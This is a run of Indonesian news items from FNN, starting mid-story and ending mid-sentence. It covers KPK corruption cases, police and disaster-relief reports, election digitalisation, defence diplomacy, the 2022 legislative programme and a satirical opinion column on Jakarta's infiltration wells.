Khusus (DAK) APBNP Kabupaten Lampung Tengah Tahun Anggaran 2017 dimana diduga ada keterlibatan Azis dan Aliza Gunado sebagai pihak penerima suap. Robin dan rekannya, yaitu advokat Maskur Husain bersedia untuk membantu dengan imbalan uang masing-masing dari Azis dan Aliza Gunado senilai Rp2 miliar sehingga totalnya Rp4 miliar. Uang muka senilai Rp300 juta yang ditransfer secara bertahap pada 2, 3, 4, dan 5 Agustus 2020. Selanjutnya pada 5 Agustus 2020 Azis memberikan uang sejumlah 100 ribu dolar AS di rumah dinas Azis. Azis juga beberapa kali memberikan uang kepada Stepanus Robin dan Maskur Husain yang jumlah keseluruhannya 171.900 dolar Singapura pada Agustus 2020 - Maret 2021. Stepanus Robin kemudian menukar uang tersebut di "money changer" dengan menggunakan identitas Agus Susanto dan Rizky Cinde Awaliyah (teman Stepanus Robin) menjadi bentuk rupiah sejumlah Rp1.863.887.000. Sebagian uang tersebut lalu diberikan kepada Maskur Husain pada awal September 202 sejumlah Rp1 miliar dan Rp800 juta masih pada September 2020. (sws)

Polda Jateng Berangkatkan 36 Polwan Bantu Korban Erupsi Semeru

Semarang, FNN - Polda Jawa Tengah memberangkatkan 36 polisi wanita (polwan) yang tergabung dalam Satuan Tugas Kemanusiaan Erupsi Gunung Semeru, Kabupaten Lumajang, Jawa Timur. Kapolda Jawa Tengah Irjen Pol.Ahmad Luthfi saat memberangkatkan personel dan bantuan untuk bencana erupsi Gunung Semeru, di Semarang, Senin, mengatakan total terdapat sebanyak 85 personel yang diperbantukan di wilayah bencana tersebut. Personel dari berbagai kesatuan itu, lanjut dia, ditugaskan untuk pelaksanaan identifikasi hingga "trauma healing" untuk orang tua dan anak-anak. "Kami kirim pula obat-obatan dan mainan untuk anak-anak," katanya. Kapolda berpesan agar seluruh bantuan yang disalurkan tersebut harus sampai ke sasaran. "Dasari rasa ikhlas dengan perikemanusiaan dalam bertugas," tambahnya. Menurut dia, bantuan yang disalurkan untuk korban terdampak erupsi Gunung Semeru ini juga dilaksanakan oleh masing-masing polres. Ia menyebut bantuan yang disalurkan masing-masing polres sudah diberangkatkan sebelumnya. (sws)

Polres: Tujuh Polisi Diperiksa Terkait Kematian Seorang Tahanan di Sel

Kupang, FNN - Propam Polres Sumba Barat, Nusa Tenggara Timur, memeriksa tujuh anggota polisi yang terlibat dan menjadi saksi dalam kasus meninggalnya tahanan bernama Arkin di dalam sel Polsek Katikutana. "Kita sudah periksa 7 anggota Polsek Katikutana yang berkaitan dengan meninggalnya korban di tahanan," kata Kapolres Sumba Barat AKBP FX Irwan Ariawan kepada ANTARA di Kupang, Senin. Ia menyebutkan tujuh anggota polisi itu tiga di antaranya adalah petugas piket yang bertugas di Polsek Katikutana dan empat orang lagi yang terlibat langsung dalam penangkapan Arkin pada Rabu (8/12). Keempat anggota Polsek itu diduga ikut melakukan penganiayaan terhadap korban, namun dari hasil pengakuan mereka, hanya memukul di tangan dan di kaki. "Jadi tidak ada penembakan sama sekali. Mereka mengaku hanya memukul di kaki dan tangan. Jadi tidak ada luka tembak sama sekali," tambah dia. Kapolres mengatakan bahwa dirinya tidak main-main dengan anggota yang terlibat dan menjadi dalang meninggalnya tahanan di dalam sel di polsek itu. "Siapa pun anggotanya yang terlibat dalam kasus tersebut akan ditindak tegas sesuai ketentuan hukum yang berlaku," tegas Irwan. Saat ini keempat personel yang diduga melakukan penganiayaan sudah diamankan di tahanan Polres Sumba Barat. Sebelumnyadiberitakan seorang tahanan Polsek Katikutana, yakni Arkin warga di Kecamatan Katikutana Selatan, Sumba Barat, NTT, meninggal dunia di ruang tahanan Polsek Katikutana karena diduga dianaya oleh anggota polisi. Arkin ditangkap di rumah pamannya bernama Andreas Maki Pawolung pada Rabu (8/12) malam, sekitar pukul 23.00 WITA karena diduga melakukan penganiayaan dan pencurian ternak. Keluarga mendesak kepolisian untuk mengusut tuntas kasus itu dan mereka menuntut keadilan atas kasus itu. (sws)

Wabup Belitung: LKBN ANTARA Bangun Optimisme Bangsa Hadapi Pandemi

Belitung, Babel, FNN - Wakil Bupati Belitung, Provinsi Kepulauan Bangka Belitung, Isyak Meirobie mengatakan LKBN ANTARA telah membangun optimisme bangsa dalam menghadapi pandemi COVID-19 melalui pemberitaannya selama ini. "LKBN ANTARA selama ini telah membangun optimisme, harapan bangsa, dan masyarakat dalam melewati badai pandemi COVID-19," katanya di Tanjung Pandan, Senin. Hal ini disampaikan dalam rangka menanggapi HUT Ke - 84 Kantor Berita ANTARA pada 13 Desember 2021. Menurut dia, berdirinya LKBN ANTARA sebagai kantor berita nasional sangat lekat dengan sejarah perjuangan dan kemerdekaan bangsa Indonesia. Kantor Berita ANTARA didirikan oleh empat tokoh wartawan pejuang, yakni Adam Malik, A.M. Sipahoetar, Soemanang, dan Pandoe Kartawigoena pada tanggal 13 Desember 1937 sebagai kantor berita perjuangan melawan agitasi Pemerintahan Kolonial Belanda. Kantor Berita ANTARA berperan penting menyebarluaskan Proklamasi Kemerdekaan RI pada 17 Agustus 1945 ke seluruh penjuru wilayah di dalam negeri hingga ke mancanegara. "LKBN ANTARA selama ini telah menjadi inspirator dan membangun optimisme masyarakat menghadapi pandemi COVID-19," katanya. Ia berharap LKBN ANTARA menjadi rujukan bagi media-media lain dalam menyebarluaskan berita-berita yang mencerahkan, membangun rasa optimisme, dan menginformasikan hasil-hasil pembangunan di daerah. "Saya mengucapkan selamat HUT Ke-84 LKBN ANTARA tetap berjaya dan berkarya dan menjembatani semua pihak dalam pemberitaan dan menyebarluaskan hasil pembangunan bangsa," ujarnya. (sws)

Moeldoko Tegaskan RI Miliki Komitmen Kuat Dalam Perbaikan Lingkungan

Jakarta, FNN - Kepala Staf Kepresidenan (KSP) Moeldoko dalam pertemuan dengan Duta Besar Jerman untuk Indonesia, Ina Lepel, menegaskan Indonesia memiliki komitmen yang kuat dalam upaya-upaya perbaikan lingkungan. "Indonesia memang memiliki komitmen yang kuat terhadap isu perbaikan lingkungan. Hal ini dibuktikan dengan komitmen Indonesia dalam Paris Agreement, dan COP26 (Konferensi Para Pihak untuk Perubahan Iklim) di Glasgow, Skotlandia," kata Moeldoko di Bina Graha, Kompleks Istana Kepresidenan, Jakarta, Senin. Karena itu, Moeldoko menekankan perlunya penguatan kerja sama bilateral antara Indonesia dan Jerman, utamanya dalam bidang ekonomi hijau dan konservasi lingkungan. Selain itu, ujar Moeldoko, pemerintah juga akan membangun Pembangkit Listrik Tenaga Air (PLTA) di Kalimantan Utara yang bisa menghasilkan tenaga listrik hingga 11 ribu Mega Watt (MW) guna mendukung kawasan industri hijau. Menurut mantan Panglima TNI itu, Indonesia saat ini sudah mulai mengurangi konsumsi batu bara untuk menjadi sumber energi. Namun, Moeldoko mengakui bahwa untuk beralih dari batu bara ke energi terbarukan, diperlukan usaha keras. Selain itu, kebutuhan pendanaan untuk transisi energi menuju negara emisi bersih atau Net Zero Emission pada 2060 pun sangat besar. “Kita punya keyakinan bahwa kita punya sumber daya untuk dijadikan renewable energy (energi terbarukan) diantaranya air, matahari dan energi laut. Jerman sudah sangat maju di sektor itu, mungkin eksplorasi lebih banyak lagi diperlukan untuk investor Jerman untuk menggali berbagai sumber baru tadi," ujar Moeldoko. Adapun hubungan bilateral Indonesia-Jerman sejak 2012 diperkuat dengan Joint Declaration for a Comprehensive Partnership. Kedua negara sepakat untuk mengembangkan kerja sama di bidang ekonomi, pendidikan, riset dan teknologi, kesehatan, industri pertahanan, keamanan pangan, dan transportasi. Dalam perkembangannya, hubungan bilateral kedua negara semakin meningkat melalui kunjungan resmi Presiden Joko Widodo ke Berlin, Jerman pada 2016. Saat itu, Presiden Jokowi dan Kanselir Jerman yang saat itu masih dijabat Angela Merkel, menyepakati penguatan hubungan kemitraan strategis di bidang pendidikan vokasi, energi terbarukan, dan kerja sama maritim. Kini, setelah Jerman memiliki kanselir baru menggantikan 16 tahun kepemimpinan Angela Merkel, Moeldoko pun berharap agar Jerman dan Indonesia bisa mempererat kerja sama kembali. Pada 8 Desember 2021 lalu, Angela Merkel menyerahkan tongkat kepemimpinan sebagai Kanselir Jerman kepada Olaf Scholz. “Kami rasa khususnya di bidang perubahan iklim, finansial berkelanjutan, dan efisiensi energi ada banyak ruang dialog antara Indonesia dan Jerman. Kita berharap akan ada banyak pertukaran (kunjungan kementerian) langsung baik secara bilateral maupun melalui kerangka kerja G20," kata Dubes Jerman Ina Lepel, seperti dikutip siaran pers KSP. Dubes Jerman juga mengapresiasi komitmen pemerintah Indonesia untuk mengatasi isu perubahan iklim. (sws)

Anggota KPU RI: Digitalisasi Pemilu Jangan Abaikan Kedaulatan Digital

Jakarta, FNN - Anggota Komisi Pemilihan Umum (KPU) RI Viryan Aziz mengingatkan agar digitalisasi pemilu di Indonesia yang dilakukan pihak penyelenggara dan pemerintah tidak mengabaikan kedaulatan digital masyarakat. “Jangan sampai digitalisasi pemilu abai dengan satu kata kunci penting, yaitu kedaulatan digital yang bermakna kehidupan digital dipastikan tetap terkendali, terkontrol, dan terkelola oleh negara kita,” ujar Viryan Aziz. Hal tersebut dikemukakan Viryan saat menjadi narasumber dalam webinar nasional Fakultas Ilmu Sosial dan Ilmu Politik Universitas Sulawesi Barat bertajuk “Menuju Pemilu dan Pilkada Serentak 2024” yang disiarkan langsung di kanal YouTube FISIP Unsulbar, dipantau dari Jakarta, Senin. Kedaulatan digital, lanjut dia, jangan sampai dikendalikan atau dikelola oleh pihak lain di luar negara Indonesia. Lebih jauh, kedaulatan itu dapat diartikan, di antaranya sebagai pengamanan optimal yang diberikan negara terhadap data pribadi masyarakat Indonesia sebagai pemilih dan mengupayakan adanya pertahanan siber berlapis. Untuk diketahui, digitalisasi pemilu merupakan pemanfaatan teknologi digital dalam beberapa tahapan pemilu, seperti pendaftaran pemilih dan peserta pemilu, distribusi logistik, rekapitulasi perolehan suara, penetapan hasil, penyebaran informasi, dan transparansi, bahkan riset atau kajian pascapemilu. Dia menilai kedaulatan digital dalam digitalisasi pemilu di Indonesia dapat dikatakan sebagai suatu tantangan. Namun, menurutnya, tantangan itu perlu ditransformasikan menjadi capaian penting yang segera diusahakan jauh-jauh hari menjelang Pemilu 2024. Di samping itu, Viryan Aziz menilai upaya dari pemerintah dan penyelenggara pemilu untuk mengoptimalkan digitalisasi pemilu akan mampu meningkatkan kepercayaan publik. “Digitalisasi pemilu itu meningkatkan kepercayaan publik terhadap proses pelayanan yang KPU dan pemerintah berikan kepada peserta pemilu,” ujar dia. Ia memaparkan keuntungan yang diperoleh dari digitalisasi pemilu di antaranya pelaksanaan pemilu yang terselenggara secara lebih mudah dan sederhana. Dengan demikian, persoalan klasik dalam pemilu, seperti sistem data kependudukan yang bermasalah dapat terselesaikan. (sws)

Sumur Resapan Jakarta Perlu Dimodifikasi untuk Sedot Kotoran Otak

By Asyari Usman Sumur resapan (sures) tangkal banjir yang dibuat secara masif oleh Gubernur DKI Jakarta Anies Baswedan, memang pantas dikritik. Sebab, sumur resapan itu hanya berfungsi untuk menyerap air. Tidak bisa digunakan untuk menyerap kotoran. Ini yang menjadi masalah. Seharusnya sumur resapan itu bisa juga berperan untuk menyedot kotoran-kotoran yang keluar dari kepala orang-orang yang melihat sumur resapan itu sia-sia. Itu yang membuat para penentang sures, baik yang berada di tempat-tempat resmi maupun yang berada di dunia maya, terus-menerus meributkan proyek yang rasional ini. Mereka sengaja mencari kelemahan sures. Dan tidak mungkin produk manusia tanpa kelemahan. Karena itu, Pak Gubernur perlu mempertimbangkan modifikasi desain sures yang telah dibuat. Seharusnya bisa dilakukan. Misalnya, di semua sures dipasang antena yang bisa tersambung secara otomatis ke otak-otak yang banyak kotorannya melalui frekuensi khusus. Dengan begini, sampah yang ada otak-otak kotor di wilayah Jakarta bisa tersedot. Sehingga kemudian otak-otak yang telah disedot kotorannya itu akan memberikan penilaian yang bersih terhadap kerja keras Anies. Kalau modifikasi tak mungkin dilakukan, bisa juga dibuatkan kios-kios penyedotan kotoran otak. Di sebar sebanyak mungkin di konstituen otak kotor. Pak Gubernur bisa melibatkan Partai Solidaritas Indonesia (PSI) dan juga PDIP DKI. Mereka tentu punya peta lengkap pemilik otak kotor. Kios-kios otak kotor itu nanti dapat pula difungsikan sebagai “stasiun rehabilitasi” pemikiran yang selama ini didominasi oleh kedengkian. Bisa pula dijadikan tempat kursus singkat tentang cara melihat hal-hal yang bagus dan bermanfaat. Ini memang menambah pekerjaan Anies. Tapi, yakinlah, penyediaan stasiun pembersihan otak kotor akan menghasilkan dampak positif jangka panjang. Kalau tidak bisa semua, paling tidak sebagian besar otak kotor bisa bersih kembali. Bisa dipakai untuk kebernasan berpikir. Cuma, Anies harus jeli meluncurkan modifikasi sures atau penyediaan kios-kios otak kotor. Jangan sampai kontrak kerjanya jatuh ke tangan orang-orang yang berotak bersih. Biarkan para otak kotor mengerjakan proyek pembesihan otak mereka. Supaya mereka tidak lagi menyalahkan Pak Gub seandainya sures yang dimodifikasi atau kios-kios baru pembersih otak kotor yang mereka kerjakan sendiri itu, tak berfungsi. Mudah-mudahan proyek ini bisa terlaksana sesegera mungkin. Agar DKI Jakarta bebas dari kotoran otak orang-orang yang memusuhi kebaikan.[] (Penulis wartawan senior FNN)

KPK Panggil Empat Saksi Kasus Korupsi Proyek Stadion Mandala Krida

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Senin, memanggil empat saksi dalam penyidikan kasus dugaan korupsi pembangunan Stadion Mandala Krida APBD Tahun Anggaran 2016-2017 di Pemerintah Provinsi Daerah Istimewa Yogyakarta (DIY). "Penyidikan perkara dugaan tindak pidana korupsi terkait pembangunan Stadion Mandala Krida APBD Tahun Anggaran 2016-2017 di Pemerintah Provinsi DIY, hari ini bertempat di Kantor BPK Perwakilan Yogyakarta, tim penyidik mengagendakan pemanggilan saksi-saksi," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Senin. Empat saksi, yaitu ASN di Dinas Pendidikan Pemuda dan Olahraga Eddy Wahyudi, Ahmad Edi Zuhaidi selaku Direktur PT Eka Madra Sentosa, Mochamad Amin Agustyono dari pihak swasta, dan Heri Sukamto selaku Kepala Cabang PT Duta Mas Indah Cabang DIY dan kuasa KSO PT Duta Mas Indah-PT Permata Nirwana Nusantara KSO. KPK sedang melakukan penyidikan dugaan kasus korupsi pekerjaan pembangunan Stadion Mandala Krida. Kendati demikian, KPK saat ini belum dapat menginformasikan secara menyeluruh konstruksi perkara dan siapa saja pihak-pihak yang telah ditetapkan sebagai tersangka. Sebagaimana kebijakan Pimpinan KPK saat ini bahwa untuk publikasi konstruksi perkara dan pihak-pihak yang telah ditetapkan sebagai tersangka akan dilakukan pada saat telah dilakukan upaya paksa baik penangkapan maupun penahanan terhadap para tersangka. enggeledah di beberapa lokasi seperti Kantor Dinas Pendidikan, Pemuda, dan Olahraga DIY serta Badan Pemuda dan Olahraga DIY. Tim Penyidik KPK mengamankan dokumen yang terkait dengan kasus dari penggeledahan tersebut. (sws)

KPK Panggil Eks Dirjen Perimbangan Keuangan Terkait Kasus DID Tabanan

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memanggil mantan Direktur Jenderal Perimbangan Keuangan Kementerian Keuangan Boediarso Teguh Widodo untuk diperiksa sebagai saksi di Gedung KPK, Jakarta, Senin. Boediarso dipanggil dalam penyidikan kasus dugaan korupsi pengurusan Dana Insentif Daerah (DID) Kabupaten Tabanan, Bali. "Hari ini, bertempat di Gedung KPK Merah Putih, tim penyidik mengagendakan pemanggilan saksi Boediarso Teguh Widodo," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Senin. Saat ini, Boediarso menjabat sebagai Widyaiswara Ahli Utama pada Pusdiklat Kekayaan Negara dan Perimbangan Keuangan (KNPK) Badan Pendidikan dan Pelatihan Keuangan (BPPK) Kementerian Keuangan. KPK saat ini sedang mengusut kasus dugaan korupsi pengurusan DID Kabupaten Tabanan tersebut. Namun, KPK belum dapat menyampaikan secara utuh konstruksi perkara dari hasil penyidikan, pasal yang disangkakan, dan pihak-pihak yang telah ditetapkan sebagai tersangka. Adapun pengumuman tersangka akan disampaikan apabila penyidikan telah dinyatakan cukup dan dilakukan upaya paksa baik penangkapan maupun penahanan para tersangka. Dalam penyidikan kasus tersebut, KPK pada Kamis (11/11) telah memeriksa mantan Bupati Tabanan Ni Putu Eka Wiryastuti sebagai saksi. KPK saat itu mengonfirmasi Ni Putu Eka Wiryastuti terkait dengan persetujuannya dalam pengurusan DID untuk Kabupaten Tabanan Tahun 2018. Selain itu, tim penyidik KPK pada Rabu (27/10) telah menggeledah Kantor Dinas PUPR Kabupaten Tabanan, Kantor Bapelitbang Kabupaten Tabanan, Kantor Badan Keuangan Daerah Kabupaten Tabanan, Kantor DPRD Kabupaten Tabanan, dan kediaman pihak yang terkait dengan kasus tersebut. Terkait kasus tersebut, KPK sebelumnya telah memproses mantan Kepala Seksi Pengembangan Pendanaan Kawasan Perumahan dan Pemukiman Direktorat Evaluasi Pengelolaan dan Informasi Keuangan Daerah, Direktorat Jenderal Perimbangan Keuangan Kementerian Keuangan Yaya Purnomo. Pada Februari 2019, Yaya Purnomo telah divonis 6,5 tahun penjara ditambah denda Rp200 juta subsider 1 bulan dan 15 hari kurungan karena terbukti menerima suap dan gratifikasi dalam pengurusan Dana Alokasi Khusus (DAK) dan DID di sembilan kabupaten. Salah satunya adalah DID APBN Tahun Anggaran 2018 untuk Kabupaten Tabanan. (sws)

DPR RI: Perbaikan Sistem Data Penduduk Wujudkan Pemilu Berkualitas

Jakarta, FNN - Ketua Komisi II DPR RI Ahmad Doli Kurnia mengatakan perbaikan sistem data kependudukan, terutama terkait daftar pemilih tetap (DPT) oleh pemerintah dan pihak penyelenggara pemilu akan mampu mewujudkan Pemilu 2024 yang berkualitas. “Untuk mencapai satu data, untuk terwujudnya pemilu yang berkualitas, yang paling baik kalau pemerintah dan penyelenggara bisa selesaikan sistem data kependudukan yang baik,” ujar Ahmad Doli Kurnia. Hal tersebut disampaikannya saat menjadi pembicara kunci dalam webinar nasional Fakultas Ilmu Sosial dan Ilmu Politik Universitas Sulawesi Barat bertajuk “Menuju Pemilu dan Pilkada Serentak 2024” yang disiarkan langsung di kanal YouTube FISIP Unsulbar, dipantau dari Jakarta, Senin. Menurutnya, perbaikan sistem kependudukan tersebut dapat mengurangi beban kerja para pihak yang terlibat dalam penyelenggaraan Pemilu 2024. Sejauh ini, kata Ahmad Doli Kurnia, persoalan sistem data kependudukan memang menjadi masalah klasik atau berulang-ulang dalam pemilu, namun pemerintah tidak kunjung memperbaikinya. “Jadi, setiap menjelang pemilu, pemilu legislatif, presiden, ataupun pilkada, selalu masalah sistem data kependudukan ini mencuat,” ungkap dia. Dengan demikian, menurutnya, sudah seharusnya persoalan tersebut segera diselesaikan, bahkan sejak jauh-jauh hari sebelum Pemilu 2024 diadakan. “Oleh karena itu, saya selalu mengingatkan pemerintah dari awal, jauh-jauh hari, atau waktu-waktu sekarang bisa memperbaiki sistem itu sehingga kita sudah punya satu data menjelang Pemilu 2024,” imbau Ahmad Doli Kurnia. Di samping itu, ia menegaskan pengolahan sistem data kependudukan tersebut sebenarnya bukan menjadi tugas utama Komisi Pemilihan Umum (KPU) sebagai penyelenggara pemilu melainkan pemerintah. “Dalam pengolahan data kependudukan ini, kalau kita mau belajar dari teori dan pengalaman-pengalaman pemilu, itu seharusnya bukan menjadi pekerjaan utama KPU. Urusan data kependudukan itu, urusan negara, yaitu pemerintah,” tegasnya. (sws)

Pengamat: Diplomasi Menhan Prabowo Perkuat Alutsista TNI

Jakarta, FNN - Pengamat militer Susaningtyas H.N. Kertopati menilai strategi diplomasi pertahanan yang dilakukan Menteri Pertahanan (Menhan) Prabowo Subianto memperkuat alat utama sistem persenjataan (alutsista) TNI. "Beliau mampu melakukan diskusi ilmiah langsung dengan para menteri pertahanan negara-negara maju," kata Susaningtyas dalam keterangan tertulis di Jakarta, Senin. Kemampuan komunikasi dan bahasa internasional yang dikuasai Prabowo Subianto, kata dia, mendukung diplomasi pertahanan. Pembicaraan empat mata kerap dilakukan sehingga berbagai kesepakatan dapat dilakukan dengan cepat dan penuh kepercayaan​.​​​​​​ Nuning menjelaskan skema yang dijalankan oleh Prabowo untuk datang dan bernegosiasi alutsista langsung dengan petinggi negara lain, biasa dikenal dengan government to government (G to G) atau antarpemerintahan. Skema ini lebih efisien untuk memperoleh lebih banyak kesepakatan kerja sama di bidang pertahanan antarnegara yang menguntungkan bagi industri pertahanan masing-masing sekaligus mendapatkan harga alutsista terbaik. Ia menilai gaya khas Prabowo blusukan mendatangi petinggi pemerintah negara lain dalam mencari kesepakatan kerja sama pengadaan alutsista canggih lebih efektif karena memotong rantai perantara. Nuning juga menilai strategi diplomasi pertahanan Prabowo adalah terobosan yang cerdas dalam kebijakan pengadaan alat pertahanan dan keamanan (alpahankam) karena tidak pernah dilakukan oleh pejabat sebelumnya. "Kerja sama tersebut sangat penting untuk meningkatkan kepercayaan atas rencana pengadaan alutsista TNI. Kepercayaan internasional sangat mendukung pengadaan alutsista TNI sesuai dengan kebijakan luar negeri Indonesia," kata mantan anggota Komisi I DPR itu. Nuning menambahkan bahwa alutsista yang diincar Indonesia saat ini, seperti fregat Arrowhead 140, pesawat tempur Rafale dan kapal selam Scorpene, adalah alutsista yang tergolong canggih lantaran berteknologi militer kelas menengah ke atas sehingga dibutuhkan kememampuan negosiasi yang tinggi. Namun, dari hasil diplomasi pertahanan Prabowo ke Inggris, Indonesia kini telah berhasil memboyong lisensi kapal fregat Arrowhead 140 yang disepakati kedua negara pada bulan September 2021. Inggris mempersilakan Indonesia memproduksi kapal fregat tersebut di galangan PT PAL Indonesia (Persero) dengan memberdayakan SDM lokal. Sementara itu, hasil diplomasi pertahanan Prabowo ke Prancis, Indonesia telah memperluas dan menambah kerja sama penting dengan Prancis, yaitu di bidang industri pertahanan, kerja sama pasukan pemelihara perdamaian, pemberantasan terorisme, intelijen, pelatihan dan pendidikan militer, ilmu pengetahuan dan teknologi, dan lain-lain. Kerja sama itu tertuang dalam kesepakatan Defense Cooperation Agreement (DCA). (sws)

Prolegnas 2022 dan RUU Super Prioritas

Jakarta, FNN - Rapat Paripurna DPR RI pada Selasa (7/12) menyetujui sebanyak 40 Rancangan Undang-Undang (RUU) masuk dalam Program Legislasi Nasional (Prolegnas) Prioritas dan 254 RUU masuk Prolegnas RUU Perubahan Ketiga Tahun 2020-2024 yang semula berjumlah 247 RUU. Persetujuan tersebut diberikan setelah Badan Legislasi (Baleg) DPR RI menggelar Rapat Kerja (Raker) pada Senin (6/12) bersama Pemerintah dan DPD RI menentukan jumlah Prolegnas Prioritas 2022 dan Prolegnas RUU Perubahan Ketiga Tahun 2020-2024. Pada awalnya, dalam penyusunan Prolegnas RUU Prioritas Tahun 2022, Baleg DPR RI telah menerima usulan sebanyak 86 RUU yang berasal dari; pertama, komisi, Fraksi, Anggota DPR RI, dan masyarakat sebanyak 64 RUU; kedua, pemerintah sebanyak 15 RUU; dan ketiga DPD RI sebanyak tujuh RUU. Namun pada akhirnya hanya 40 RUU yang disepakati untuk masuk dalam Prolegnas Prioritas 2022, dengan rincian sebanyak 26 RUU diusulkan DPR RI, 12 RUU diusulkan pemerintah, dan dua RUU diusulkan DPD RI. Baleg mengklaim dimasukannya 40 RUU tersebut menggunakan beberapa parameter yaitu pertama, RUU dalam tahap pembicaraan Tingkat I; kedua, RUU yang menunggu Surat Presiden (Surpres); ketiga, RUU yang telah selesai dilakukan harmonisasi, pembulatan, dan pemantapan konsepsi di Baleg; dan keempat, RUU usulan baru yang memenuhi urgensi. Jumlah RUU dalam Prolegnas 2022 lebih banyak dibandingkan Prolegnas 2021 yaitu awalnya sebanyak 33 RUU lalu dievaluasi menjadi 37 RUU. Dari 40 RUU yang masuk dalam Prolegnas Prioritas 2022, hanya ada enam RUU baru, selebihnya merupakan peluncuran atau "carry over" dari Prolegnas Prioritas 2021. Keenam RUU baru tersebut terdiri dari empat RUU usul Baleg DPR yaitu RUU tentang Bahan Kimia, RUU tentang Pelaksanaan Hak dan Kewajiban Anggota DPR RI, RUU tentang Perubahan atas UU No.23 Tahun 2019 tentang Pengelolaan Sumber Daya Nasional Untuk Pertahanan Negara, dan RUU tentang Perubahan Kedua atas Undang-Undang Nomor 12 Tahun 2011 Tentang Pembentukan Peraturan Perundang-Undangan. Selain itu RUU dari usulan anggota DPR RI yaitu RUU tentang Kesejahteraan Ibu dan Anak, dan usulan pemerintah adalah RUU tentang Desain Industri (dalam Prolegnas 2020-2024, tertulis: RUU Perubahan atas Undang-Undang Nomor 31 Tahun 2000 tentang Desain Industri). RUU super prioritas untuk dibahas Mahkamah Konstitusi (MK) pada Kamis (26/11) telah memutuskan bahwa Undang-undang Nomor 11 tahun 2020 tentang Cipta Kerja (Ciptaker) bertentangan dengan UUD 1945 dan tidak mempunyai kekuatan hukum mengikat (inkonstitusional) bila tidak dilakukan perbaikan dalam waktu 2 tahun. Salah satu poin putusan itu menyebutkan bahwa konsep "Omnibus Law" dalam UU Ciptaker tidak memenuhi ketentuan pembentukan UU berdasarkan UUD 1945. Karena itu format susunan peraturan di UU Ciptaker dinilai MK bertentangan dengan teknik penyusunan perundang-undangan yang diatur dalam Pasal 64 UU nomor 12 tahun 2011 tentang Pembentukan Peraturan Perundang-undangan (PPP). Putusan MK tersebut ternyata berdampak pada susunan Prolegnas Prioritas 2022 karena DPR dan pemerintah harus mengubah UU tentang PPP sebelum merevisi UU Ciptaker. Revisi UU PP khususnya terkait Pasal 64 itu bertujuan agar konsep "Omnibus Law" dalam penyusunan UU tidak dianggap inkonstitusional dan bertentangan dengan UUD 1945. Karena itu revisi UU tentang PPP masuk dalam Prolegnas Prioritas 2022 sebagai usul inisiatif Baleg DPR RI. Sementara itu, Menteri Hukum dan HAM Yasonna H Laoly mengatakan revisi Undang-Undang nomor 11 tahun 2020 tentang Cipta Kerja (Ciptaker) tidak perlu dimasukkan dalam Program Legislasi Nasional (Prolegnas) Prioritas 2022 karena telah masuk dalam daftar kumulatif terbuka. Ketua Baleg DPR RI Supratman Andi Agtas mengatakan Baleg fokus menyelesaikan revisi UU PPP dan UU Ciptaker di tahun 2022 karena MK hanya memberikan waktu dua tahun bagi pembuat UU untuk memperbaiki UU Ciptaker. Langkah memasukkan revisi UU tentang PPP dalam Prolegnas Prioritas 2022 merupakan langkah awal lalu kemudian dilakukan perbaikan terhadap UU Ciptaker. Karena itu, kemungkinan besar revisi UU PPP dan UU Ciptaker akan dilakukan secara paralel di 2022, mengejar tenggat waktu yang diputuskan MK. Supratman mengatakan revisi UU Ciptaker akan dibahas dari awal, mulai dari penyusunan naskah akademik hingga pembahasan pasal-perpasal. Namun apabila melihat proses penyusunan RUU Ciptaker pada tahun 2019 dengan berbagai dinamika di luar maupun di dalam DPR, prosesnya hanya berlangsung kurang dari 10 bulan, maka tidak menutup kemungkinan revisi UU Ciptaker akan berjalan cepat. RUU super prioritas yang kemungkinan segera dibahas dan disetujui DPR adalah RUU tentang Ibu Kota Negara (IKN) yang saat ini prosesnya sedang dibahas di tingkat Panitia Kerja (Panja). Surat Presiden (Surpres) dan RUU IKN telah diserahkan pemerintah kepada DPR pada 29 September 2021. Menteri Sekretaris Negara (Mensesneg) Pratikno dan Kepala Badan Perencanaan Pembangunan Nasional (Bappenas) Suharso Monoarfa menyerahkan Surpres tersebut kepada Ketua DPR RI Puan Maharani. Rapat Badan Musyawarah (Bamus) DPR RI pada 3 November 2021 membentuk Panja RUU IKN dengan keanggotaan 56 orang dan 6 orang pimpinan. Sementara itu penetapan Panja RUU IKN disetujui dalam Rapat Paripurna pada Selasa (7/12). Penetapan jumlah keanggotaan Pansus tersebut tidak sesuai dengan Peraturan DPR RI nomor 1 tahun 2020 tentang Tata Tertib (Tatib) yang menyebutkan keanggotaan Pansus hanya 30 orang. Menurut Wakil Ketua DPR RI Sufmi Dasco Ahmad, jumlah keanggotaan tersebut dengan mempertimbangkan kompleksitas dan substansi materi yang dibahas dalam RUU IKN oleh lintas komisi. Setelah keanggotaan Pansus RUU IKN ditetapkan tersebut, Baleg DPR menggelar rapat pada Kamis (9/12) untuk mengubah Paraturan DPR RI nomor 1 tahun 2020 tentang Tatib, khususnya yang mengatur jumlah keanggotaan Pansus. Pasal 104 ayat (2) jo Pasal 105 ayat (5) Peraturan DPR tentang Tatib menyebutkan jumlah anggota pansus ditetapkan oleh Rapat Paripurna DPR paling banyak 30 orang dan pimpinan Pansus terdiri dari satu orang ketua dan paling banyak tiga orang wakil ketua yang dipilih dari dan oleh anggota pansus dalam satu paket yang bersifat tetap berdasarkan usulan fraksi dengan prinsip musyawarah untuk mufakat. Karena itu Baleg melakukan perubahan Tatib tersebut berdasarkan kebutuhan hukum dan mencantumkan tanggal keberlakuannya atau berlaku surut sebelum tanggal 7 Desember 2021. Tim Ahli Baleg DPR RI menyampaikan materi muatan revisi Peraturan DPR tersebut yaitu di antara ayat 2 dan ayat 3 Pasal 104 disisipkan satu ayat yaitu ayat 2a yang berbunyi "jumlah anggota pansus sebagaiakana dimaksud pada ayat 2 dapat bertambah sesuai dengan kebutuhan berdasarkan ketetapan rapat paripurna DPR. Lalu di antara ayat 2 dan ayat 3 Pasal 105 disisipkan satu ayat yaitu ayat 2a yang berbunyi "jumlah pimpinan pansus sebagaimana dimaksud pada ayat 2 dapat bertambah sesuai dengan kebutuhan berdasarkan ketetapan rapat paripurna DPR. Dalam perkembangannya, Panja RUU IKN telah menetapkan enam orang pimpinan Pansus terdiri dari Ketua Pansus Ahmad Doli Kurnia (F-Golkar), dan lima Wakil Ketua Pansus Junimart Girsang (F-PDI Perjuangan), Sugiono (F-Gerindra), Fathan (F-PKB), Saan Mustopa (F-NasDem), Nurhayati 